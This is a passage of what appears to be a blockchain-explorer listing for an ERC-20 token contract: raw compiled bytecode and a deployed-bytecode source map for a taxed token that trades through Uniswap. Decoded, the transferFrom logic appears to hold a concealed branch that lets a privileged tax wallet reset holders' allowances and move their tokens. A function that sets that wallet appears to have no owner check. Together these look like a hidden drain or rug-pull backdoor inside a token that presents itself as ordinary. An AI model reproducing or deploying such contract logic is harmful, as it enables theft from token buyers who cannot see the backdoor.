320616c7265616479206f70656e000000000000000000604482015260640161042b565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561061c9030906106096009600a61187c565b61061790633b9aca0061188a565b610c1c565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069091906118a1565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ef573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071391906118a1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561075d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078191906118a1565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306107c8816001600160a01b03165f9081526001602052604090205490565b5f806107db5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610841573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061086691906118bc565b50506012546001600160a01b0316905061087e575f80fd5b60125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af11580156108d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f49190611769565b506108fe81610a08565b50565b5f61090e6009600a61187c565b61091c90633b9aca0061188a565b905090565b5f61092d848484610e05565b60045433906001600160a01b03168114801561094857505f46115b80156109765750806001600160a01b031661096a5f546001600160a01b031690565b6001600160a01b031614155b156109af578260075461098991906118e7565b6001600160a01b038087165f908152600260209081526040808320938616835292905220555b6109fd8586610617866040518060600160405280602881526020016119ca602891396001600160a01b03808c165f908152600260209081526040808320938b16835292905220549190611341565b506001949350505050565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b03163314610a6a5760405162461bcd60e51b815260040161042b9061171d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610adb5760405162461bcd60e51b815260040161042b9061171d565b610ae76009600a61187c565b610af590633b9aca0061188a565b600d55610b046009600a61187c565b610b1290633b9aca0061188a565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610b426009600a61187c565b610b5090633b9aca0061188a565b60405190815260200160405180910390a1565b5f6103f8338484610e05565b5f546001600160a01b03163314610b985760405162461bcd60e51b815260040161042b9061171d565b6012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610bda5760405162461bcd60e51b815260040161042b9061171d565b5f4711610be5575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156108fe573d5f803e3d5ffd5b6001600160a01b038316610c7e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042b565b6001600160a01b038216610cdf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f825f03610d4e57505f6103fc565b5f610d59838561188a565b905082610d6685836118fa565b14610dbd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042b565b9392505050565b5f610dbd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611379565b6001600160a01b038316610e695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042b565b6001600160a01b038216610ecb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042b565b5f8111610f2c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042b565b5f80546001600160a01b03858116911614801590610f5757505f546001600160a01b03848116911614155b15611204576012546001600160a01b0390811690851603610f9b57610f9860646104af600954600c5411610f8d57600554610f91565b6007545b8590610d3f565b90505b6012546001600160a01b038581169116148015610fc657506011546001600160a01b03848116911614155b8015610fea57506001600160a01b0383165f9081526003602052604090205460ff16155b1561112057601254600160a01b900460ff1661103f5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161042b565b600d548211156110915760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161042b565b600e54826110b3856001600160a01b03165f9081526001602052604090205490565b6110bd91906118e7565b111561110b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161042b565b600c8054905f61111a83611919565b91905055505b6012546001600160a01b03848116911614801561114657506001600160a01b0384163014155b156111735761117060646104af600a54600c541161116657600654610f91565b6008548590610d3f565b90505b305f90815260016020526040902054601254600160a81b900460ff161580156111a957506012546001600160a01b038581169116145b80156111be5750601254600160b01b900460ff165b80156111cd5750600b54600c54115b1561120257600f548111156111f9576111f96111f4846111ef846010546113a5565b6113a5565b6113b9565b61120247611529565b505b801561127c57305f908152600160205260409020546112239082611564565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112739085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461129e90836115c2565b6001600160a01b0385165f908152600160205260409020556112e16112c383836115c2565b6001600160a01b0385165f9081526001602052604090205490611564565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61132a85856115c2565b60405190815260200160405180910390a350505050565b5f81848411156113645760405162461bcd60e51b815260040161042b9190611603565b505f6113708486611931565b95945050505050565b5f81836113995760405162461bcd60e51b815260040161042b9190611603565b505f61137084866118fa565b5f8183116113b35782610dbd565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113ff576113ff611944565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611456573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061147a91906118a1565b8160018151811061148d5761148d611944565b6001600160a01b0392831660209182029290920101526011546114b39130911684610c1c565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114eb9085905f90869030904290600401611958565b5f604051808303815f87803b158015611502575f80fd5b505af1158015611514573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611560573d5f803e3d5ffd5b5050565b5f8061157083856118e7565b905083811015610dbd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042b565b5f610dbd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611341565b5f602080835283518060208501525f5b8181101561162f57858101830151858201604001528201611613565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108fe575f80fd5b5f8060408385031215611674575f80fd5b823561167f8161164f565b946020939093013593505050565b5f6020828403121561169d575f80fd5b8135610dbd8161164f565b5f805f606084860312156116ba575f80fd5b83356116c58161164f565b925060208401356116d58161164f565b929592945050506040919091013590565b5f80604083850312156116f7575f80fd5b82356117028161164f565b915060208301356117128161164f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611762575f80fd5b5051919050565b5f60208284031215611779575f80fd5b81518015158114610dbd575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d657815f19048211156117bc576117bc611788565b808516156117c957918102915b93841c93908002906117a1565b509250929050565b5f826117ec575060016103fc565b816117f857505f6103fc565b816001811461180e576002811461181857611834565b60019150506103fc565b60ff84111561182957611829611788565b50506001821b6103fc565b5060208310610133831016604e8410600b8410161715611857575081810a6103fc565b611861838361179c565b805f190482111561187457611874611788565b029392505050565b5f610dbd60ff8416836117de565b80820281158282048414176103fc576103fc611788565b5f602082840312156118b1575f80fd5b8151610dbd8161164f565b5f805f606084860312156118ce575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103fc576103fc611788565b5f8261191457634e487b7160e01b5f52601260045260245ffd5b500490565b5f6001820161192a5761192a611788565b5060010190565b818103818111156103fc576103fc611788565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119a85784516001600160a01b031683529383019391830191600101611983565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209df4416bc0096219b1c51558198d7e7272f3ebda24777541f2832e6d5753057864736f6c63430008180033

Deployed Bytecode Sourcemap

3579:7712:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5295:83;;;;;;;;;;-1:-1:-1;5365:5:0;;;;;;;;;;;;-1:-1:-1;;;5365:5:0;;;;5295:83;;;;;;;:::i;:::-;;;;;;;;6128:161;;;;;;;;;;-1:-1:-1;6128:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6128:161:0;1023:187:1;7091:278:0;;;;;;;;;;-1:-1:-1;7091:278:0;;;;;:::i;:::-;;:::i;:::-;;4597:45;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4597:45:0;1215:177:1;10244:721:0;;;;;;;;;;-1:-1:-1;10244:721:0;;;;;:::i;:::-;;:::i;5572:95::-;;;;;;;;;;;;;:::i;6297:437::-;;;;;;;;;;-1:-1:-1;6297:437:0;;;;;:::i;:::-;;:::i;5481:83::-;;;;;;;;;;-1:-1:-1;5481:83:0;;4241:1;2252:36:1;;2240:2;2225:18;5481:83:0;2110:184:1;11140:148:0;;;;;;;;;;-1:-1:-1;11140:148:0;;;;;:::i;:::-;;:::i;5675:121::-;;;;;;;;;;-1:-1:-1;5675:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;5768:20:0;5741:7;5768:20;;;:11;:20;;;;;;;5675:121;2660:148;;;;;;;;;;;;;:::i;7377:160::-;;;;;;;;;;;;;:::i;4429:47::-;;;;;;;;;;;;;;;;2446:79;;;;;;;;;;-1:-1:-1;2484:7:0;2511:6;2446:79;;-1:-1:-1;;;;;2511:6:0;;;2445:51:1;;2433:2;2418:18;2446:79:0;2299:203:1;4483:49:0;;;;;;;;;;;;;;;;5386:87;;;;;;;;;;-1:-1:-1;5458:7:0;;;;;;;;;;;;-1:-1:-1;;;5458:7:0;;;;5386:87;;5804:167;;;;;;;;;;-1:-1:-1;5804:167:0;;;;;:::i;:::-;;:::i;9988:119::-;;;;;;;;;;;;;:::i;4539:51::-;;;;;;;;;;;;;;;;5979:141;;;;;;;;;;-1:-1:-1;5979:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6087:16:0;;;6060:7;6087:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;5979:141;10973:159;;;;;;;;;;;;;:::i;6128:161::-;6203:4;6220:39;281:10;6243:7;6252:6;6220:8;:39::i;:::-;-1:-1:-1;6277:4:0;6128:161;;;;;:::o;7091:278::-;2573:6;;-1:-1:-1;;;;;2573:6:0;281:10;2573:22;2565:67;;;;-1:-1:-1;;;2565:67:0;;;;;;;:::i;:::-;;;;;;;;;7202:55:::1;::::0;-1:-1:-1;;;7202:55:0;;7251:4:::1;7202:55;::::0;::::1;2445:51:1::0;7184:15:0::1;::::0;7202:105:::1;::::0;7303:3:::1;::::0;7202:82:::1;::::0;7276:7;;-1:-1:-1;;;;;7202:40:0;::::1;::::0;::::1;::::0;2418:18:1;;7202:55:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:73:::0;::::1;:82::i;:::-;:100:::0;::::1;:105::i;:::-;7184:123;;7325:8;-1:-1:-1::0;;;;;7318:25:0::1;;7344:7;2484::::0;2511:6;-1:-1:-1;;;;;2511:6:0;;2446:79;7344:7:::1;7318:43;::::0;-1:-1:-1;;;;;;7318:43:0::1;::::0;;;;;;-1:-1:-1;;;;;3642:32:1;;;7318:43:0::1;::::0;::::1;3624:51:1::0;3691:18;;;3684:34;;;3597:18;;7318:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7173:196;7091:278:::0;;:::o;10244:721::-;2573:6;;-1:-1:-1;;;;;2573:6:0;281:10;2573:22;2565:67;;;;-1:-1:-1;;;2565:67:0;;;;;;;:::i;:::-;10329:11:::1;::::0;-1:-1:-1;;;10329:11:0;::::1;;;10328:12;10320:47;;;::::0;-1:-1:-1;;;10320:47:0;;4213:2:1;10320:47:0::1;::::0;::::1;4195:21:1::0;4252:2;4232:18;;;4225:30;4291:25;4271:18;;;4264:53;4334:18;;10320:47:0::1;4011:347:1::0;10320:47:0::1;10378:15;:89:::0;;-1:-1:-1;;;;;;10378:89:0::1;10423:42;10378:89:::0;;::::1;::::0;;;10478:58:::1;::::0;10495:4:::1;::::0;4300:13:::1;4241:1;4300:2;:13;:::i;:::-;4284:29;::::0;:13:::1;:29;:::i;:::-;10478:8;:58::i;:::-;10581:15;;;;;;;;;-1:-1:-1::0;;;;;10581:15:0::1;-1:-1:-1::0;;;;;10581:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10563:55:0::1;;10627:4;10634:15;;;;;;;;;-1:-1:-1::0;;;;;10634:15:0::1;-1:-1:-1::0;;;;;10634:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10563:94;::::0;-1:-1:-1;;;;;;10563:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6531:15:1;;;10563:94:0::1;::::0;::::1;6513:34:1::0;6583:15;;6563:18;;;6556:43;6448:18;;10563:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10547:13;:110:::0;;-1:-1:-1;;;;;10547:110:0;;::::1;-1:-1:-1::0;;;;;;10547:110:0;;::::1;;::::0;;10668:15:::1;::::0;::::1;:31;10707:21;10738:4;10744:24;10738:4:::0;-1:-1:-1;;;;;5768:20:0;5741:7;5768:20;;;:11;:20;;;;;;;5675:121;10744:24:::1;10769:1;10771::::0;10773:7:::1;2484::::0;2511:6;-1:-1:-1;;;;;2511:6:0;;2446:79;10773:7:::1;10668:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10668:129:0;;;-1:-1:-1;;;;;6969:15:1;;;10668:129:0::1;::::0;::::1;6951:34:1::0;7001:18;;;6994:34;;;;7044:18;;;7037:34;;;;7087:18;;;7080:34;7151:15;;;7130:19;;;7123:44;10781:15:0::1;7183:19:1::0;;;7176:35;6885:19;;10668:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10816:13:0::1;::::0;-1:-1:-1;;;;;10816:13:0::1;::::0;-1:-1:-1;10808:36:0::1;;;::::0;::::1;;10862:13;::::0;10893:15:::1;::::0;10855:71:::1;::::0;-1:-1:-1;;;10855:71:0;;-1:-1:-1;;;;;10893:15:0;;::::1;10855:71;::::0;::::1;3624:51:1::0;-1:-1:-1;;3691:18:1;;;3684:34;10862:13:0;::::1;::::0;10855:29:::1;::::0;3597:18:1;;10855:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10937:20;10952:4;10937:14;:20::i;:::-;10244:721:::0;:::o;5572:95::-;5625:7;4300:13;4241:1;4300:2;:13;:::i;:::-;4284:29;;:13;:29;:::i;:::-;5645:14;;5572:95;:::o;6297:437::-;6386:4;6403:27;6413:4;6419:2;6423:6;6403:9;:27::i;:::-;6475:10;;281;;-1:-1:-1;;;;;6475:10:0;:26;;:47;;;;;6521:1;6505:13;:17;6475:47;:68;;;;;6537:6;-1:-1:-1;;;;;6526:17:0;:7;2484;2511:6;-1:-1:-1;;;;;2511:6:0;;2446:79;6526:7;-1:-1:-1;;;;;6526:17:0;;;6475:68;6472:129;;;6595:6;6580:12;;:21;;;;:::i;:::-;-1:-1:-1;;;;;6544:15:0;;;;;;;:9;:15;;;;;;;;:23;;;;;;;;;:57;6472:129;6603:101;6612:4;6618;6624:79;6652:6;6624:79;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6624:15:0;;;;;;;:9;:15;;;;;;;;:23;;;;;;;;;;;:79;:27;:79::i;6603:101::-;-1:-1:-1;6722:4:0;;6297:437;-1:-1:-1;;;;6297:437:0:o;11140:148::-;11204:10;:34;;-1:-1:-1;;;;;11204:34:0;;;-1:-1:-1;;;;;;11204:34:0;;;;;;;:10;11249:24;;;:10;:24;;;;;:31;;-1:-1:-1;;11249:31:0;11204:34;11249:31;;;11140:148::o;2660:::-;2573:6;;-1:-1:-1;;;;;2573:6:0;281:10;2573:22;2565:67;;;;-1:-1:-1;;;2565:67:0;;;;;;;:::i;:::-;2767:1:::1;2751:6:::0;;2730:40:::1;::::0;-1:-1:-1;;;;;2751:6:0;;::::1;::::0;2730:40:::1;::::0;2767:1;;2730:40:::1;2798:1;2781:19:::0;;-1:-1:-1;;;;;;2781:19:0::1;::::0;;2660:148::o;7377:160::-;2573:6;;-1:-1:-1;;;;;2573:6:0;281:10;2573:22;2565:67;;;;-1:-1:-1;;;2565:67:0;;;;;;;:::i;:::-;4300:13:::1;4241:1;4300:2;:13;:::i;:::-;4284:29;::::0;:13:::1;:29;:::i;:::-;7431:12;:22:::0;4300:13:::1;4241:1;4300:2;:13;:::i;:::-;4284:29;::::0;:13:::1;:29;:::i;:::-;7464:14;:22:::0;7502:27:::1;4300:13;4241:1;4300:2;:13;:::i;:::-;4284:29;::::0;:13:::1;:29;:::i;:::-;7502:27;::::0;1361:25:1;;;1349:2;1334:18;7502:27:0::1;;;;;;;7377:160::o:0;5804:167::-;5882:4;5899:42;281:10;5923:9;5934:6;5899:9;:42::i;9988:119::-;2573:6;;-1:-1:-1;;;;;2573:6:0;281:10;2573:22;2565:67;;;;-1:-1:-1;;;2565:67:0;;;;;;;:::i;:::-;10052:11:::1;:18:::0;;-1:-1:-1;;;;10081:18:0;-1:-1:-1;;;10081:18:0;;;9988:119::o;10973:159::-;2573:6;;-1:-1:-1;;;;;2573:6:0;281:10;2573:22;2565:67;;;;-1:-1:-1;;;2565:67:0;;;;;;;:::i;:::-;11063:1:::1;11039:21;:25;11031:34;;;::::0;::::1;;2484:7:::0;2511:6;;11076:48:::1;::::0;-1:-1:-1;;;;;2511:6:0;;;;11102:21:::1;11076:48:::0;::::1;;;::::0;11102:21;;11076:48;2484:7;11076:48;11102:21;2511:6;11076:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;6746:333:::0;-1:-1:-1;;;;;6839:19:0;;6831:68;;;;-1:-1:-1;;;6831:68:0;;7865:2:1;6831:68:0;;;7847:21:1;7904:2;7884:18;;;7877:30;7943:34;7923:18;;;7916:62;-1:-1:-1;;;7994:18:1;;;7987:34;8038:19;;6831:68:0;7663:400:1;6831:68:0;-1:-1:-1;;;;;6918:21:0;;6910:68;;;;-1:-1:-1;;;6910:68:0;;8270:2:1;6910:68:0;;;8252:21:1;8309:2;8289:18;;;8282:30;8348:34;8328:18;;;8321:62;-1:-1:-1;;;8399:18:1;;;8392:32;8441:19;;6910:68:0;8068:398:1;6910:68:0;-1:-1:-1;;;;;6989:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7039:32;;1361:25:1;;;7039:32:0;;1334:18:1;7039:32:0;;;;;;;6746:333;;;:::o;1536:246::-;1594:7;1618:1;1623;1618:6;1614:47;;-1:-1:-1;1648:1:0;1641:8;;1614:47;1671:9;1683:5;1687:1;1683;:5;:::i;:::-;1671:17;-1:-1:-1;1716:1:0;1707:5;1711:1;1671:17;1707:5;:::i;:::-;:10;1699:56;;;;-1:-1:-1;;;1699:56:0;;8895:2:1;1699:56:0;;;8877:21:1;8934:2;8914:18;;;8907:30;8973:34;8953:18;;;8946:62;-1:-1:-1;;;9024:18:1;;;9017:31;9065:19;;1699:56:0;8693:397:1;1699:56:0;1773:1;1536:246;-1:-1:-1;;;1536:246:0:o;1790:132::-;1848:7;1875:39;1879:1;1882;1875:39;;;;;;;;;;;;;;;;;:3;:39::i;7545:1840::-;-1:-1:-1;;;;;7633:18:0;;7625:68;;;;-1:-1:-1;;;7625:68:0;;9297:2:1;7625:68:0;;;9279:21:1;9336:2;9316:18;;;9309:30;9375:34;9355:18;;;9348:62;-1:-1:-1;;;9426:18:1;;;9419:35;9471:19;;7625:68:0;9095:401:1;7625:68:0;-1:-1:-1;;;;;7712:16:0;;7704:64;;;;-1:-1:-1;;;7704:64:0;;9703:2:1;7704:64:0;;;9685:21:1;9742:2;9722:18;;;9715:30;9781:34;9761:18;;;9754:62;-1:-1:-1;;;9832:18:1;;;9825:33;9875:19;;7704:64:0;9501:399:1;7704:64:0;7796:1;7787:6;:10;7779:64;;;;-1:-1:-1;;;7779:64:0;;10107:2:1;7779:64:0;;;10089:21:1;10146:2;10126:18;;;10119:30;10185:34;10165:18;;;10158:62;-1:-1:-1;;;10236:18:1;;;10229:39;10285:19;;7779:64:0;9905:405:1;7779:64:0;7854:17;2511:6;;-1:-1:-1;;;;;7888:15:0;;;2511:6;;7888:15;;;;:32;;-1:-1:-1;2484:7:0;2511:6;-1:-1:-1;;;;;7907:13:0;;;2511:6;;7907:13;;7888:32;7884:1133;;;7948:13;;-1:-1:-1;;;;;7948:13:0;;;7940:21;;;;7937:131;;7992:76;8064:3;7992:67;8014:15;;8004:9;;:25;8003:55;;8044:14;;8003:55;;;8031:12;;8003:55;7992:6;;:10;:67::i;:76::-;7980:88;;7937:131;8097:13;;-1:-1:-1;;;;;8089:21:0;;;8097:13;;8089:21;:55;;;;-1:-1:-1;8128:15:0;;-1:-1:-1;;;;;8114:30:0;;;8128:15;;8114:30;;8089:55;:75;;;;-1:-1:-1;;;;;;8150:14:0;;;;;;:10;:14;;;;;;;;8148:16;8089:75;8085:367;;;8194:11;;-1:-1:-1;;;8194:11:0;;;;8186:43;;;;-1:-1:-1;;;8186:43:0;;10517:2:1;8186:43:0;;;10499:21:1;10556:2;10536:18;;;10529:30;-1:-1:-1;;;10575:18:1;;;10568:50;10635:18;;8186:43:0;10315:344:1;8186:43:0;8266:12;;8256:6;:22;;8248:60;;;;-1:-1:-1;;;8248:60:0;;10866:2:1;8248:60:0;;;10848:21:1;10905:2;10885:18;;;10878:30;10944:27;10924:18;;;10917:55;10989:18;;8248:60:0;10664:349:1;8248:60:0;8361:14;;8351:6;8335:13;8345:2;-1:-1:-1;;;;;5768:20:0;5741:7;5768:20;;;:11;:20;;;;;;;5675:121;8335:13;:22;;;;:::i;:::-;:40;;8327:79;;;;-1:-1:-1;;;8327:79:0;;11220:2:1;8327:79:0;;;11202:21:1;11259:2;11239:18;;;11232:30;11298:28;11278:18;;;11271:56;11344:18;;8327:79:0;11018:350:1;8327:79:0;8425:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8085:367;8477:13;;-1:-1:-1;;;;;8471:19:0;;;8477:13;;8471:19;:43;;;;-1:-1:-1;;;;;;8494:20:0;;8509:4;8494:20;;8471:43;8468:174;;;8547:79;8622:3;8547:70;8569:16;;8559:9;;:26;8558:58;;8601:15;;8558:58;;;8587:13;;8547:6;;:10;:70::i;:79::-;8535:91;;8468:174;8707:4;8658:28;5768:20;;;:11;:20;;;;;;8733:6;;-1:-1:-1;;;8733:6:0;;;;8732:7;:30;;;;-1:-1:-1;8749:13:0;;-1:-1:-1;;;;;8743:19:0;;;8749:13;;8743:19;8732:30;:45;;;;-1:-1:-1;8766:11:0;;-1:-1:-1;;;8766:11:0;;;;8732:45;:79;;;;;8793:18;;8781:9;;:30;8732:79;8728:278;;;8858:17;;8835:20;:40;8832:112;;;8877:67;8892:51;8896:6;8904:38;8908:20;8930:11;;8904:3;:38::i;:::-;8892:3;:51::i;:::-;8877:14;:67::i;:::-;8963:27;8968:21;8963:4;:27::i;:::-;7922:1095;7884:1133;9032:11;;9029:165;;9104:4;9084:26;;;;:11;:26;;;;;;:41;;9115:9;9084:30;:41::i;:::-;9077:4;9057:26;;;;:11;:26;;;;;;;:68;;;;9143:39;;-1:-1:-1;;;;;9143:39:0;;;;;;;9172:9;1361:25:1;;1349:2;1334:18;;1215:177;9143:39:0;;;;;;;;9029:165;-1:-1:-1;;;;;9222:17:0;;;;;;:11;:17;;;;;;:29;;9244:6;9222:21;:29::i;:::-;-1:-1:-1;;;;;9204:17:0;;;;;;:11;:17;;;;;:47;9278:42;9298:21;:6;9309:9;9298:10;:21::i;:::-;-1:-1:-1;;;;;9278:15:0;;;;;;:11;:15;;;;;;;:19;:42::i;:::-;-1:-1:-1;;;;;9262:15:0;;;;;;;:11;:15;;;;;:58;;;;9336:41;;;9355:21;:6;9366:9;9355:10;:21::i;:::-;9336:41;;1361:25:1;;;1349:2;1334:18;9336:41:0;;;;;;;7614:1771;7545:1840;;;:::o;1338:190::-;1424:7;1460:12;1452:6;;;;1444:29;;;;-1:-1:-1;;;1444:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1484:9:0;1496:5;1500:1;1496;:5;:::i;:::-;1484:17;1338:190;-1:-1:-1;;;;;1338:190:0:o;1930:189::-;2016:7;2051:12;2044:5;2036:28;;;;-1:-1:-1;;;2036:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2075:9:0;2087:5;2091:1;2087;:5;:::i;9393:98::-;9450:7;9477:1;9475;:3;9474:9;;9482:1;9474:9;;;-1:-1:-1;9480:1:0;9393:98;-1:-1:-1;9393:98:0:o;9499:481::-;4926:6;:13;;-1:-1:-1;;;;4926:13:0;-1:-1:-1;;;4926:13:0;;;9599:16:::1;::::0;;9613:1:::1;9599:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9599:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9599:16:0::1;9575:40;;9644:4;9626;9631:1;9626:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9626:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9670:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9670:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9626:7;;9670:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9660:4;9665:1;9660:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9660:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9735:15:::1;::::0;9703:62:::1;::::0;9720:4:::1;::::0;9735:15:::1;9753:11:::0;9703:8:::1;:62::i;:::-;9776:15;::::0;:196:::1;::::0;-1:-1:-1;;;9776:196:0;;-1:-1:-1;;;;;9776:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9857:11;;9776:15:::1;::::0;9899:4;;9926::::1;::::0;9946:15:::1;::::0;9776:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4962:6:0;:14;;-1:-1:-1;;;;4962:14:0;;;-1:-1:-1;;;;9499:481:0:o;10152:84::-;10201:10;;:27;;-1:-1:-1;;;;;10201:10:0;;;;:27;;;;;10221:6;;10201:10;:27;:10;:27;10221:6;10201:10;:27;;;;;;;;;;;;;;;;;;;;;10152:84;:::o;1007:179::-;1065:7;;1097:5;1101:1;1097;:5;:::i;:::-;1085:17;;1126:1;1121;:6;;1113:46;;;;-1:-1:-1;;;1113:46:0;;13097:2:1;1113:46:0;;;13079:21:1;13136:2;13116:18;;;13109:30;13175:29;13155:18;;;13148:57;13222:18;;1113:46:0;12895:351:1;1194:136:0;1252:7;1279:43;1283:1;1286;1279:43;;;;;;;;;;;;;;;;;:3;:43::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7